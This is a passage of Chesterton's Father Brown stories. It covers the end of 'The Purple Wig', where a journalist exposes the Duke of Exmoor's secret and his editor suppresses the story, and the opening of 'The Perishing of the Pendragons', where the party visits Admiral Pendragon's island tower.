silence most successfully. +Speaking with restraint and with the accent of a highly educated gentleman, +and puffing at intervals at his long churchwarden pipe, he proceeded +to tell me some of the most horrible stories I have ever heard in my life: +how one of the Eyres in the former ages had hanged his own father; +and another had his wife scourged at the cart tail through the village; +and another had set fire to a church full of children, and so on. + + Some of the tales, indeed, are not fit for public print--, +such as the story of the Scarlet Nuns, the abominable story of +the Spotted Dog, or the thing that was done in the quarry. +And all this red roll of impieties came from his thin, genteel lips +rather primly than otherwise, as he sat sipping the wine out of +his tall, thin glass. + + I could see that the big man opposite me was trying, +if anything, to stop him; but he evidently held the old gentleman +in considerable respect, and could not venture to do so at all abruptly. +And the little priest at the other end of the-table, though free from +any such air of embarrassment, looked steadily at the table, +and seemed to listen to the recital with great pain--as well as he might. + + "You don't seem," I said to the narrator, "to be very fond of +the Exmoor pedigree." + + He looked at me a moment, his lips still prim, but whitening +and tightening; then he deliberately broke his long pipe and glass +on the table and stood up, the very picture of a perfect gentleman +with the framing temper of a fiend. + + "These gentlemen," he said, "will tell you whether I have cause +to like it. The curse of the Eyres of old has lain heavy on this country, +and many have suffered from it. They know there are none who have +suffered from it as I have." And with that he crushed a piece of +the fallen glass under his heel, and strode away among the green twilight +of the twinkling apple-trees. + + "That is an extraordinary old gentleman," I said to the other two; +"do you happen to know what the Exmoor family has done to him? Who is he?" + + The big man in black was staring at me with the wild air of +a baffled bull; he did not at first seem to take it in. Then he said +at last, "Don't you know who he is?" + + I reaffirmed my ignorance, and there was another silence; +then the little priest said, still looking at the table, "That is +the Duke of Exmoor." + + Then, before I could collect my scattered senses, he added +equally quietly, but with an air of regularizing things: +"My friend here is Doctor Mull, the Duke's librarian. My name is Brown." + + "But," I stammered, "if that is the Duke, why does he damn all +the old dukes like that?" + + "He seems really to believe," answered the priest called Brown, +"that they have left a curse on him." Then he added, with some irrelevance, +"That's why he wears a wig." + + It was a few moments before his meaning dawned on me. +"You don't mean that fable about the fantastic ear?" I demanded. +"I've heard of it, of course, but surely it must be a superstitious yarn +spun out of something much simpler. I've sometimes thought it was +a wild version of one of those mutilation stories. They used to crop +criminals' ears in the sixteenth century." + + "I hardly think it was that," answered the little man thoughtfully, +"but it is not outside ordinary science or natural law for a family +to have some deformity frequently reappearing--such as one ear bigger +than the other." + + The big librarian had buried his big bald brow in his big red hands, +like a man trying to think out his duty. "No," he groaned. +"You do the man a wrong after all. Understand, I've no reason +to defend him, or even keep faith with him. He has been a tyrant to me +as to everybody else. Don't fancy because you see him sitting here +that he isn't a great lord in the worst sense of the word. +He would fetch a man a mile to ring a bell a yard off--if it would +summon another man three miles to fetch a matchbox three yards off. +He must have a footman to carry his walking-stick; a body servant +to hold up his opera-glasses--" + + "But not a valet to brush his clothes," cut in the priest, +with a curious dryness, "for the valet would want to brush his wig, too." + + The librarian turned to him and seemed to forget my presence; +he was strongly moved and, I think, a little heated with wine. +"I don't know how you know it, Father Brown," he said, "but you are right. +He lets the whole world do everything for him--except dress him. +And that he insists on doing in a literal solitude like a desert. +Anybody is kicked out of the house without a character who is +so much as found near his dressing-room door., + + "He seems a pleasant old party," I remarked. + + "No," replied Dr Mull quite simply; "and yet that is just what +I mean by saying you are unjust to him after all. Gentlemen, the Duke +does really feel the bitterness about the curse that he uttered just now. +He does, with sincere shame and terror, hide under that purple wig +something he thinks it would blast the sons of man to see. +I know it is so; and I know it is not a mere natural disfigurement, +like a criminal mutilation, or a hereditary disproportion in the features. +I know it is worse than that; because a man told me who was present +at a scene that no man could invent, where a stronger man than +any of us tried to defy the secret, and was scared away from it." + + I opened my mouth to speak, but Mull went on in oblivion of me, +speaking out of the cavern of his hands. "I don't mind telling you, +Father, because it's really more defending the poor Duke than +giving him away. Didn't you ever hear of the time when he +very nearly lost all the estates?" + + The priest shook his head; and the librarian proceeded to +tell the tale as he had heard it from his predecessor in the same post, +who had been his patron and instructor, and whom he seemed to trust +implicitly. Up to a certain point it was a common enough tale +of the decline of a great family's fortunes--the tale of a family lawyer. +His lawyer, however, had the sense to cheat honestly, if the expression +explains itself. Instead of using funds he held in trust, +he took advantage of the Duke's carelessness to put the family in +a financial hole, in which it might be necessary for the Duke to +let him hold them in reality. + + The lawyer's name was Isaac Green, but the Duke always called him +Elisha; presumably in reference to the fact that he was quite bald, +though certainly not more than thirty. He had risen very rapidly, +but from very dirty beginnings; being first a "nark" or informer, +and then a money-lender: but as solicitor to the Eyres he had the sense, +as I say, to keep technically straight until he was ready to deal +the final blow. The blow fell at dinner; and the old librarian said +he should never forget the very look of the lampshades and the decanters, +as the little lawyer, with a steady smile, proposed to the great landlord +that they should halve the estates between them. The sequel certainly +could not be overlooked; for the Duke, in dead silence, smashed +a decanter on the man's bald head as suddenly as I had seen him smash +the glass that day in the orchard. It left a red triangular scar +on the scalp, and the lawyer's eyes altered, but not his smile. + + He rose tottering to his feet, and struck back as such men do strike. +"I am glad of that," he said, "for now I can take the whole estate. +The law will give it to me." + + Exmoor, it seems, was white as ashes, but his eyes still blazed. +"The law will give it you," he said; "but you will not take it.... +Why not? Why? because it would mean the crack of doom for me, +and if you take it I shall take off my wig.... Why, you pitiful +plucked fowl, anyone can see your bare head. But no man shall +see mine and live." + + Well, you may say what you like and make it mean what you like. +But Mull swears it is the solemn fact that the lawyer, after shaking +his knotted fists in the air for an instant, simply ran from the room +and never reappeared in the countryside; and since then Exmoor has been +feared more for a warlock than even for a landlord and a magistrate. + + Now Dr Mull told his story with rather wild theatrical gestures, +and with a passion I think at least partisan. I was quite conscious +of the possibility that the whole was the extravagance of +an old braggart and gossip. But before I end this half of my discoveries, +I think it due to Dr Mull to record that my two first inquiries +have confirmed his story. I learned from an old apothecary in the village +that there was a bald man in evening dress, giving the name of Green, +who came to him one night to have a three-cornered cut on his forehead +plastered. And I learnt from the legal records and old newspapers +that there was a lawsuit threatened, and at least begun, by one Green +against the Duke of Exmoor. + + + Mr Nutt, of the Daily Reformer, wrote some highly incongruous +words across the top of the copy, made some highly mysterious marks +down the side of it, and called to Miss Barlow in the same loud, +monotonous voice: "Take down a letter to Mr Finn." + + DEAR FINN,--Your copy will do, but I have had to headline it a bit; +and our public would never stand a Romanist priest in the story-- +you must keep your eye on the suburbs. I've altered him to Mr Brown, +a Spiritualist. + + Yours, + + E. NUTT. + + + A day or two afterward found the active and judicious editor +examining, with blue eyes that seemed to grow rounder and rounder, +the second instalment of Mr Finn's tale of mysteries in high life. +It began with the words: + + + I have made an astounding discovery. I freely confess it is +quite different from anything I expected to discover, and will give +a much more practical shock to the public. I venture to say, +without any vanity, that the words I now write will be read all over Europe, +and certainly all over America and the Colonies. And yet I heard +all I have to tell before I left this same little wooden table in this +same little wood of apple-trees. + + I owe it all to the small priest Brown; he is an extraordinary man. +The big librarian had left the table, perhaps ashamed of his long tongue, +perhaps anxious about the storm in which his mysterious master +had vanished: anyway, he betook himself heavily in the Duke's tracks +through the trees. Father Brown had picked up one of the lemons and +was eyeing it with an odd pleasure. + + "What a lovely colour a lemon is!" he said. "There's one thing +I don't like about the Duke's wig--the colour." + + "I don't think I understand," I answered. + + "I dare say he's got good reason to cover his ears, like King Midas," +went on the priest, with a cheerful simplicity which somehow seemed +rather flippant under the circumstances. "I can quite understand +that it's nicer to cover them with hair than with brass plates or +leather flaps. But if he wants to use hair, why doesn't he make it +look like hair? There never was hair of that colour in this world. +It looks more like a sunset-cloud coming through the wood. +Why doesn't he conceal the family curse better, if he's really +so ashamed of it? Shall I tell you? It's because he isn't ashamed of it. +He's proud of it" + + "It's an ugly wig to be proud of--and an ugly story," I said. + + "Consider," replied this curious little man, "how you yourself +really feel about such things. I don't suggest you're either +more snobbish or more morbid than the rest of us: but don't you feel +in a vague way that a genuine old family curse is rather a fine thing +to have? Would you be ashamed, wouldn't you be a little proud, +if the heir of the Glamis horror called you his friend? or if Byron's +family had confided, to you only, the evil adventures of their race? +Don't be too hard on the aristocrats themselves if their heads are +as weak as ours would be, and they are snobs about their own sorrows." + + "By Jove!" I cried; "and that's true enough. My own mother's family +had a banshee; and, now I come to think of it, it has comforted me +in many a cold hour." + + "And think," he went on, "of that stream of blood and poison +that spurted from his thin lips the instant you so much as mentioned +his ancestors. Why should he show every stranger over such +a Chamber of Horrors unless he is proud of it? He doesn't conceal his wig, +he doesn't conceal his blood, he doesn't conceal his family curse, +he doesn't conceal the family crimes--but--" + + The little man's voice changed so suddenly, he shut his hand +so sharply, and his eyes so rapidly grew rounder and brighter +like a waking owl's, that it had all the abruptness of a small explosion +on the table. + + "But," he ended, "he does really conceal his toilet." + + It somehow completed the thrill of my fanciful nerves that +at that instant the Duke appeared again silently among the glimmering trees, +with his soft foot and sunset-hued hair, coming round the corner of +the house in company with his librarian. Before he came within earshot, +Father Brown had added quite composedly, "Why does he really hide +the secret of what he does with the purple wig? Because it isn't +the sort of secret we suppose." + + The Duke came round the corner and resumed his seat at the head +of the table with all his native dignity. The embarrassment of +the librarian left him hovering on his hind legs, like a huge bear. +The Duke addressed the priest with great seriousness. "Father Brown," +he said, "Doctor Mull informs me that you have come here to make a request. +I no longer profess an observance of the religion of my fathers; +but for their sakes, and for the sake of the days when we met before, +I am very willing to hear you. But I presume you would rather +be heard in private." + + Whatever I retain of the gentleman made me stand up. +Whatever I have attained of the journalist made me stand still. +Before this paralysis could pass, the priest had made a momentarily +detaining motion. "If," he said, "your Grace will permit me +my real petition, or if I retain any right to advise you, I would urge +that as many people as possible should be present. All over this country +I have found hundreds, even of my own faith and flock, whose imaginations +are poisoned by the spell which I implore you to break. I wish we could +have all Devonshire here to see you do it." + + "To see me do what?" asked the Duke, arching his eyebrows. + + "To see you take off your wig," said Father Brown. + + The Duke's face did not move; but he looked at his petitioner +with a glassy stare which was the most awful expression I have ever seen +on a human face. I could see the librarian's great legs wavering +under him like the shadows of stems in a pool; and I could not banish +from my own brain the fancy that the trees all around us were +filling softly in the silence with devils instead of birds. + + "I spare you," said the Duke in a voice of inhuman pity. +"I refuse. If I gave you the faintest hint of the load of horror +I have to bear alone, you would lie shrieking at these feet of mine +and begging to know no more. I will spare you the hint. +You shall not spell the first letter of what is written on +the altar of the Unknown God." + + "I know the Unknown God," said the little priest, with an +unconscious grandeur of certitude that stood up like a granite tower. +"I know his name; it is Satan. The true God was made flesh +and dwelt among us. And I say to you, wherever you find men ruled +merely by mystery, it is the mystery of iniquity. If the devil +tells you something is too fearful to look at, look at it. +If he says something is too terrible to hear, hear it. If you think +some truth unbearable, bear it. I entreat your Grace to end +this nightmare now and here at this table." + + "If I did," said the Duke in a low voice, "you and all you believe, +and all by which alone you live, would be the first to shrivel and perish. +You would have an instant to know the great Nothing before you died." + + "The Cross of Christ be between me and harm," said Father Brown. +"Take off your wig." + + I was leaning over the table in ungovernable excitement; +in listening to this extraordinary duel half a thought had +come into my head. "Your Grace," I cried, "I call your bluff. +Take off that wig or I will knock it off." + + I suppose I can be prosecuted for assault, but I am very glad +I did it. When he said, in the same voice of stone, "I refuse," +I simply sprang on him. For three long instants he strained against me +as if he had all hell to help him; but I forced his head until +the hairy cap fell off it. I admit that, whilst wrestling, +I shut my eyes as it fell. + + I was awakened by a cry from Mull, who was also by this time +at the Duke's side. His head and mine were both bending over +the bald head of the wigless Duke. Then the silence was snapped +by the librarian exclaiming: "What can it mean? Why, the man had +nothing to hide. His ears are just like everybody else's." + + "Yes," said Father Brown, "that is what he had to hide." + + The priest walked straight up to him, but strangely enough +did not even glance at his ears. He stared with an almost comical +seriousness at his bald forehead, and pointed to a three-cornered +cicatrice, long healed, but still discernible. "Mr Green, I think." +he said politely, "and he did get the whole estate after all." + + And now let me tell the readers of the Daily Reformer +what I think the most remarkable thing in the whole affair. +This transformation scene, which will seem to you as wild and purple +as a Persian fairy-tale, has been (except for my technical assault) +strictly legal and constitutional from its first beginnings. +This man with the odd scar and the ordinary ears is not an impostor. +Though (in one sense) he wears another man's wig and claims +another man's ear, he has not stolen another man's coronet. +He really is the one and only Duke of Exmoor. What happened was this. +The old Duke really had a slight malformation of the ear, which really +was more or less hereditary. He really was morbid about it; +and it is likely enough that he did invoke it as a kind of curse +in the violent scene (which undoubtedly happened) in which he struck +Green with the decanter. But the contest ended very differently. +Green pressed his claim and got the estates; the dispossessed nobleman +shot himself and died without issue. After a decent interval +the beautiful English Government revived the "extinct" peerage of Exmoor, +and bestowed it, as is usual, on the most important person, +the person who had got the property. + + This man used the old feudal fables--properly, in his snobbish soul, +really envied and admired them. So that thousands of poor English people +trembled before a mysterious chieftain with an ancient destiny and +a diadem of evil stars--when they are really trembling before +a guttersnipe who was a pettifogger and a pawnbroker not twelve years ago. +I think it very typical of the real case against our aristocracy as it is, +and as it will be till God sends us braver men. + + + Mr Nutt put down the manuscript and called out with unusual +sharpness: "Miss Barlow, please take down a letter to Mr Finn." + + DEAR FINN,--You must be mad; we can't touch this. I wanted vampires +and the bad old days and aristocracy hand-in-hand with superstition. +They like that But you must know the Exmoors would never forgive this. +And what would our people say then, I should like to know! Why, Sir Simon +is one of Exmoor's greatest pals; and it would ruin that cousin of +the Eyres that's standing for us at Bradford. Besides, old Soap-Suds +was sick enough at not getting his peerage last year; he'd sack me by wire +if I lost him it with such lunacy as this. And what about Duffey? +He's doing us some rattling articles on "The Heel of the Norman." +And how can he write about Normans if the man's only a solicitor? +Do be reasonable.--Yours, E. NUTT. + + As Miss Barlow rattled away cheerfully, he crumpled up the copy +and tossed it into the waste-paper basket; but not before he had, +automatically and by force of habit, altered the word "God" +to the word "circumstances." + + + + EIGHT + + + The Perishing of the Pendragons + + +FATHER BROWN was in no mood for adventures. He had lately fallen ill +with over-work, and when he began to recover, his friend Flambeau +had taken him on a cruise in a small yacht with Sir Cecil Fanshaw, +a young Cornish squire and an enthusiast for Cornish coast scenery. +But Brown was still rather weak; he was no very happy sailor; +and though he was never of the sort that either grumbles or breaks down, +his spirits did not rise above patience and civility. When the other +two men praised the ragged violet sunset or the ragged volcanic crags, +he agreed with them. When Flambeau pointed out a rock shaped +like a dragon, he looked at it and thought it very like a dragon. +When Fanshaw more excitedly indicated a rock that was like Merlin, +he looked at it, and signified assent. When Flambeau asked whether +this rocky gate of the twisted river was not the gate of Fairyland, +he said "Yes." He heard the most important things and the most trivial +with the same tasteless absorption. He heard that the coast was death +to all but careful seamen; he also heard that the ship's cat was asleep. +He heard that Fanshaw couldn't find his cigar-holder anywhere; +he also heard the pilot deliver the oracle "Both eyes bright, +she's all right; one eye winks, down she sinks." He heard Flambeau +say to Fanshaw that no doubt this meant the pilot must keep both eyes +open and be spry. And he heard Fanshaw say to Flambeau that, +oddly enough, it didn't mean this: it meant that while they +saw two of the coast lights, one near and the other distant, +exactly side by side, they were in the right river-channel; +but that if one light was hidden behind the other, they were going +on the rocks. He heard Fanshaw add that his country was full of +such quaint fables and idioms; it was the very home of romance; +he even pitted this part of Cornwall against Devonshire, as a claimant +to the laurels of Elizabethan seamanship. According to him +there had been captains among these coves and islets compared with whom +Drake was practically a landsman. He heard Flambeau laugh, and ask if, +perhaps, the adventurous title of "Westward Ho!" only meant that +all Devonshire men wished they were living in Cornwall. He heard Fanshaw +say there was no need to be silly; that not only had Cornish captains +been heroes, but that they were heroes still: that near that very spot +there was an old admiral, now retired, who was scarred by thrilling voyages +full of adventures; and who had in his youth found the last group +of eight Pacific Islands that was added to the chart of the world. +This Cecil Fanshaw was, in person, of the kind that commonly urges +such crude but pleasing enthusiasms; a very young man, light-haired, +high-coloured, with an eager profile; with a boyish bravado of spirits, +but an almost girlish delicacy of tint and type. The big shoulders, +black brows and black mousquetaire swagger of Flambeau +were a great contrast. + + All these trivialities Brown heard and saw; but heard them +as a tired man hears a tune in the railway wheels, or saw them +as a sick man sees the pattern of his wall-paper. No one can calculate +the turns of mood in convalescence: but Father Brown's depression +must have had a great deal to do with his mere unfamiliarity with the sea. +For as the river mouth narrowed like the neck of a bottle, +and the water grew calmer and the air warmer and more earthly, +he seemed to wake up and take notice like a baby. They had reached +that phase just after sunset when air and water both look bright, +but earth and all its growing things look almost black by comparison. +About this particular evening, however, there was something exceptional. +It was one of those rare atmospheres in which a smoked-glass slide +seems to have been slid away from between us and Nature; so that even +dark colours on that day look more gorgeous than bright colours +on cloudier days. The trampled earth of the river-banks and +the peaty stain in the pools did not look drab but glowing umber, +and the dark woods astir in the breeze did not look, as usual, dim blue +with mere depth of distance, but more like wind-tumbled masses of some +vivid violet blossom. This magic clearness and intensity in the colours +was further forced on Brown's slowly reviving senses by something +romantic and even secret in the very form of the landscape. + + The river was still well wide and deep enough for a pleasure boat +so small as theirs; but the curves of the country-side suggested +that it was closing in on either hand; the woods seemed to be making +broken and flying attempts at bridge-building--as if the boat +were passing from the romance of a valley to the romance of a hollow +and so to the supreme romance of a tunnel. Beyond this mere +look of things there was little for Brown's freshening fancy to feed on; +he saw no human beings, except some gipsies trailing along the river bank, +with faggots and osiers cut in the forest; and one sight +no longer unconventional, but in such remote parts still uncommon: +a dark-haired lady, bare-headed, and paddling her own canoe. +If Father Brown ever attached any importance to either of these, +he certainly forgot them at the next turn of the river which +brought in sight a singular object. + + The water seemed to widen and split, being cloven by the dark wedge +of a fish-shaped and wooded islet. With the rate at which they went, +the islet seemed to swim towards them like a ship; a ship with +a very high prow--or, to speak more strictly, a very high funnel. +For at the extreme point nearest them stood up an odd-looking building, +unlike anything they could remember or connect with any purpose. +It was not specially high, but it was too high for its breadth +to be called anything but a tower. Yet it appeared to be built +entirely of wood, and that in a most unequal and eccentric way. +Some of the planks and beams were of good, seasoned oak; some of +such wood cut raw and recent; some again of white pinewood, +and a great deal more of the same sort of wood painted black with tar. +These black beams were set crooked or crisscross at all kinds of angles, +giving the whole a most patchy and puzzling appearance. +There were one or two windows, which appeared to be coloured and +leaded in an old-fashioned but more elaborate style. The travellers +looked at it with that paradoxical feeling we have when something +reminds us of something, and yet we are certain it is something +very different. + + Father Brown, even when he was mystified, was clever in analysing +his own mystification. And he found himself reflecting that +the oddity seemed to consist in a particular shape cut out in +an incongruous material; as if one saw a top-hat made of tin, +or a frock-coat cut out of tartan. He was sure he had seen timbers +of different tints arranged like that somewhere, but never +in such architectural proportions. The next moment a glimpse +through the dark trees told him all he wanted to know and he laughed. +Through a gap in the foliage there appeared for a moment one of those +old wooden houses, faced with black beams, which are still to be found +here and there in England, but which most of us see imitated +in some show called "Old London" or "Shakespeare's England'. +It was in view only long enough for the priest to see that, +however old-fashioned, it was a comfortable and well-kept country-house, +with flower-beds in front of it. It had none of the piebald and crazy +look of the tower that seemed made out of its refuse. + + "What on earth's this?" said Flambeau, who was still staring +at the tower. + + Fanshaw's eyes were shining, and he spoke triumphantly. +"Aha! you've not seen a place quite like this before, I fancy; +that's why I've brought you here, my friend. Now you shall see +whether I exaggerate about the mariners of Cornwall. This place belongs +to Old Pendragon, whom we call the Admiral; though he retired +before getting the rank. The spirit of Raleigh and Hawkins is a memory +with the Devon folk; it's a modern fact with the Pendragons. +If Queen Elizabeth were to rise from the grave and come up this river +in a gilded barge, she would be received by the Admiral in a house +exactly such as she was accustomed to, in every corner and casement, +in every panel on the wall or plate on the table. And she would find +an English Captain still talking fiercely of fresh lands to be found +in little ships, as much as if she had dined with Drake." + + "She'd find a rum sort of thing in the garden," said Father Brown, +"which would not please her Renaissance eye. That Elizabethan domestic +architecture is charming in its way; but it's against the very nature +of it to break out into turrets." + + "And yet," answered Fanshaw, "that's the most romantic and +Elizabethan part of the business. It was built by the Pendragons +in the very days of the Spanish wars; and though it's needed patching +and even rebuilding for another reason, it's always been rebuilt +in the old way. The story goes that the lady of Sir Peter Pendragon +built it in this place and to this height, because from the top +you can just see the corner where vessels turn into the river mouth; +and she wished to be the first to see her husband's ship, +as he sailed home from the Spanish Main." + + "For what other reason," asked Father Brown, "do you mean that +it has been rebuilt?" + + "Oh, there's a strange story about that, too," said the young squire +with relish. "You are really in a land of strange stories. +King Arthur was here and Merlin and the fairies before him. +The story goes that Sir Peter Pendragon, who (I fear) had some of +the faults of the pirates as well as the virtues of the sailor, +was bringing home three Spanish gentlemen in honourable captivity, +intending to escort them to Elizabeth's court. But he was a man +of flaming and tigerish temper, and coming to high words with one of them, +he caught him by the throat and flung him by accident or design, +into the sea. A second Spaniard, who was the brother of the first, +instantly drew his sword and flew at Pendragon, and after a short but +furious combat in which both got three wounds in as many minutes, +Pendragon drove his blade through the other's body and the second Spaniard +was accounted for. As it happened the ship had already turned +into the river mouth and was close to comparatively shallow water. +The third Spaniard sprang over the side of the ship, struck out +for the shore, and was soon near enough to it to stand up to his waist +in water. And turning again to face the ship, and holding up both +arms to Heaven--like a prophet calling plagues upon a wicked city-- +he called out to Pendragon in a piercing and terrible voice, +that he at least was yet living, that he would go on living, +that he would live for ever; and that generation after generation +the house of Pendragon should never see him or his, but should know +by very certain signs that he and his vengeance were alive. +With that he dived under the wave, and was either drowned or swam +so long under water that no hair of his head was seen afterwards." + + "There's that girl in the canoe again," said Flambeau irrelevantly, +for good-looking young women would call him off any topic. +"She seems bothered by the queer tower just as we were." + + Indeed, the black-haired young lady was letting her canoe float +slowly and silently past the strange islet; and was looking intently up +at the strange tower, with a strong glow of curiosity on her oval +and olive face. + + "Never mind girls," said Fanshaw impatiently, "there are plenty +of them in the world, but not many things like the Pendragon Tower. +As you may easily suppose, plenty of superstitions and scandals +have followed in the track of the Spaniard's curse; and no doubt, +as you would put it, any accident happening to this Cornish family +would be connected with it by rural credulity. But it is perfectly true +that this tower has been burnt down two or three times; and the family +can't be called lucky, for more than two, I think, of the Admiral's +near kin have perished by shipwreck; and one at least, to my own knowledge, +on practically the same spot where Sir Peter threw the Spaniard overboard." + + "What a pity!" exclaimed Flambeau. "She's going." + + "When did your friend the Admiral tell you this family history?" +asked Father Brown, as the girl in the canoe paddled off, +without showing the least intention of extending her interest from +the tower to the yacht, which Fanshaw had already caused to lie +alongside the island. + + "Many years ago," replied Fanshaw; "he hasn't been to sea for +some time now, though he is as keen on it as ever. I believe there's +a family compact or something. Well, here's the landing stage; +let's come ashore and see the old boy." + + They followed him on to the island, just under the tower, +and Father Brown, whether from the mere touch of dry land, or the interest +of something on the other bank of the river (which he stared at +very hard for some seconds), seemed singularly improved in briskness. +They entered a wooded avenue between two fences of thin greyish wood, +such as often enclose parks or gardens, and over the top of which +the dark trees tossed to and fro like black and purple plumes upon +the hearse of a giant. The tower, as they left it behind, +looked all the quainter, because such entrances are usually flanked +by two towers; and this one looked lopsided. But for this, the avenue +had the usual appearance of the entrance to a gentleman's grounds; +and, being so curved that the house was now out of sight, +somehow looked a much larger park than any plantation on such an island +could really be. Father Brown was, perhaps, a little fanciful +in his fatigue, but he almost thought the whole place must be +growing larger, as things do in a nightmare. Anyhow, a mystical monotony +was the only character of their march, until Fanshaw suddenly stopped, +and pointed to something sticking out through the grey fence-- +something that looked at first rather like the imprisoned horn +of some beast. Closer observation showed that it was +a slightly curved blade of metal that shone faintly in the fading light. + + Flambeau, who like all Frenchmen had been a soldier, bent over it +and said in a startled voice: "Why, it's a sabre! I believe +I know the sort, heavy and curved, but shorter than the cavalry; +they used to have them in artillery and the--" + + As he spoke the blade plucked itself out of the crack it had made +and came down again with a more ponderous slash, splitting +the fissiparous fence to the bottom with a rending noise. +Then it was pulled out again, flashed above the fence some feet +further along, and again split it halfway down with the first stroke; +and after waggling a little to extricate itself (accompanied with +curses in the darkness) split it down to the ground with a second. +Then a kick of devilish energy sent the whole loosened square +of thin wood flying into the pathway, and a great gap of dark coppice +gaped in the paling. + + Fanshaw peered into the dark opening and uttered an exclamation +of astonishment. "My dear Admiral!" he exclaimed, "do you--er-- +do you generally cut out a new front door whenever you want to +go for a walk?" + + The voice in the gloom swore again, and then broke into a jolly laugh. +"No," it said; "I've really got to cut down this fence somehow; +it's spoiling all the plants, and no one else here can do it. +But I'll only carve another bit off the front door, and then come out +and welcome you." + + And sure enough, he heaved up his weapon once more, and, +hacking twice, brought down another and similar strip of fence, +making the opening about fourteen feet wide in all. Then through this +larger forest gateway he came out into the evening light, +with a chip of grey wood sticking to his sword-blade. + + He momentarily fulfilled all Fanshaw's fable of an old piratical +Admiral; though the details seemed afterwards to decompose into accidents. +For instance, he wore a broad-brimmed hat as protection against the sun; +but the front flap of it was turned up straight to the sky, and the +two corners pulled down lower than the ears, so that it stood across +his forehead in a crescent like the old cocked hat worn by Nelson. +He wore an ordinary dark-blue jacket, with nothing special about +the buttons, but the combination of it with white linen trousers +somehow had a sailorish look. He was tall and loose, and walked with +a sort of swagger, which was not a sailor's roll, and yet somehow +suggested it; and he held in his hand a short sabre which was like +a navy cutlass, but about twice as big. Under the bridge of the hat +his eagle face looked eager, all the more because it was not only +clean-shaven, but without eyebrows. It seemed almost as if all +the hair had come off his face from his thrusting it through +a throng of elements. His eyes were prominent and piercing. +His colour was curiously attractive, while partly tropical; +it reminded one vaguely of a blood-orange. That is, that while it was +ruddy and sanguine, there was a yellow in it that was in no way sickly, +but seemed rather to glow like gold apples of the Hesperides-- +Father Brown thought he had never seen a figure so expressive +of all the romances about the countries of the Sun. + + When Fanshaw had presented his two friends to their host +he fell again into a tone of rallying the latter about his wreckage +of the fence and his apparent rage of profanity. The Admiral pooh-poohed +it at first as a piece of necessary but annoying garden work; +but at length the ring of real energy came back into his laughter, +and he cried with a mixture of impatience and good humour: + + "Well, perhaps I do go at it a bit rabidly, and feel +a kind of pleasure in smashing anything. So would you if your +only pleasure was in cruising about to find some new Cannibal Islands, +and you had to stick on this muddy little rockery in a sort of rustic pond. +When I remember how I've cut down a mile and a half of green poisonous +jungle with an old cutlass half as sharp as this; and then remember +I must stop here and chop this matchwood, because of some confounded +old bargain scribbled in a family Bible, why, I--" + + He swung up the heavy steel again; and this time sundered +the wall of wood from top to bottom at one stroke. + + "I feel like that," he said laughing, but furiously flinging +the sword some yards down the path, "and now let's go up to the house; +you must have some dinner." + + The semicircle of lawn in front of the house was varied by +three circular garden beds, one of red tulips, a second of +yellow tulips, and the third of some white, waxen-looking blossoms +that the visitors did not know and presumed to be exotic. +A heavy, hairy and rather sullen-looking gardener was hanging up +a heavy coil of garden hose. The corners of the expiring sunset +which seemed to cling about the corners of the house gave glimpses +here and there of the colours of remoter flowerbeds; and in +a treeless space on one side of the house opening upon the river +stood a tall brass tripod on which was tilted a big brass telescope. +Just outside the steps of the porch stood a little painted +green garden table, as if someone had just had tea there. +The entrance was flanked with two of those half-featured lumps of stone +with holes for eyes that are said to be South Sea idols; and on +the brown oak beam across the doorway were some confused carvings +that looked almost as barbaric. + + As they passed indoors, the little cleric hopped suddenly +on to the table, and standing on it peered unaffectedly +through his spectacles at the mouldings in the oak. Admiral Pendragon +looked very much astonished, though not particularly annoyed; +while Fanshaw was so amused with what looked like a performing pigmy +on his little stand, that he could not control his laughter. +But Father Brown was not likely to notice either the laughter +or the astonishment. + + He was gazing at three carved symbols, which, though very worn +and obscure, seemed still to convey some sense to him. The first +seemed to be the outline of some tower or other building, crowned with +what looked like curly-pointed ribbons. The second was clearer: +an old Elizabethan galley with decorative waves beneath it, +but interrupted in the middle by a curious jagged rock, which was either +a fault in the wood or some conventional representation of the water +coming in. The third represented the upper half of a human figure, +ending in an escalloped line like the waves; the face was rubbed +and featureless, and both arms were held very stiffly up in the air. + + "Well," muttered Father Brown, blinking, "here is the legend +of the Spaniard plain enough. Here he is holding up his arms +and cursing in the sea; and here are the two curses: the wrecked ship +and the burning of Pendragon Tower." + + Pendragon shook his head with a kind of venerable amusement. +"And how many other things might it not be?" he said. "Don't you know +that that sort of half-man, like a half-lion or half-stag, +is quite common in heraldry? Might not that line through the ship +be one of those parti-per-pale lines, indented, I think they call it? +And though the third thing isn't so very heraldic, it would be +more heraldic to suppose it a tower crowned with laurel than with fire; +and it looks just as like it." + + "But it seems rather odd," said Flambeau, "that it should +exactly confirm the old legend." + + "Ah," replied the sceptical traveller, "but you don't know +how much of the old legend may have been made up from the old figures. +Besides, it isn't the only old legend. Fanshaw, here, who is +fond of such things, will tell you there are other versions of the tale, +and much more horrible ones. One story credits my unfortunate ancestor +with having had the Spaniard cut in two; and that will fit +the pretty picture also. Another obligingly credits our family +with the possession of a tower full of snakes and explains those little, +wriggly things in that way. And a third theory supposes the crooked line +on the ship to be a conventionalized thunderbolt; but that alone, +if seriously examined, would show what a very little way these +unhappy coincidences really go." + + "Why, how do you mean?" asked Fanshaw. + + "It so happens," replied his host coolly, "that there was +no thunder and lightning at all in the two or three shipwrecks +I know of in our family." + + "Oh!" said Father Brown, and jumped down from the little table. + + There was another silence in which they heard the continuous murmur +of the river; then Fanshaw said, in a doubtful and perhaps +disappointed tone: "Then you don't think there is anything in the +tales of the tower in flames?" + + "There are the tales, of course," said the Admiral, +shrugging his shoulders; "and some of them, I don't deny, +on evidence as decent as one ever gets for such things. +Someone saw a blaze hereabout, don't you know, as he walked home +through a wood; someone keeping sheep on the uplands inland thought +he saw a flame hovering over Pendragon Tower. Well, a damp dab of mud +like this confounded island seems the last place where one would +think of fires." + + "What is that fire over there?" asked Father Brown with +a gentle suddenness, pointing to the woods on the left river-bank. +They were all thrown a little off their balance, and the more fanciful +Fanshaw had even some difficulty in recovering his, as they saw a long, +thin stream of blue smoke ascending silently into the end of +the evening light. + + Then Pendragon broke into a scornful laugh again. "Gipsies!" +he said; "they've been camping about here for about a week. +Gentlemen, you want your dinner," and he turned as if to enter the house. + + But the antiquarian superstition in Fanshaw was still quivering, +and he said hastily: "But, Admiral, what's that hissing noise +quite near the island? It's very like fire." + + "It's more like what it is," said the Admiral, laughing as he +led the way; "it's only some canoe going by." + + Almost as he spoke, the butler, a lean man in black, +with very black hair and a very long, yellow face, appeared in the doorway +and told him that dinner was served. + + The dining-room was as nautical as the cabin of a ship; +but its note was rather that of the modern than the Elizabethan captain. +There were, indeed, three antiquated cutlasses in a trophy over +the fireplace, and one 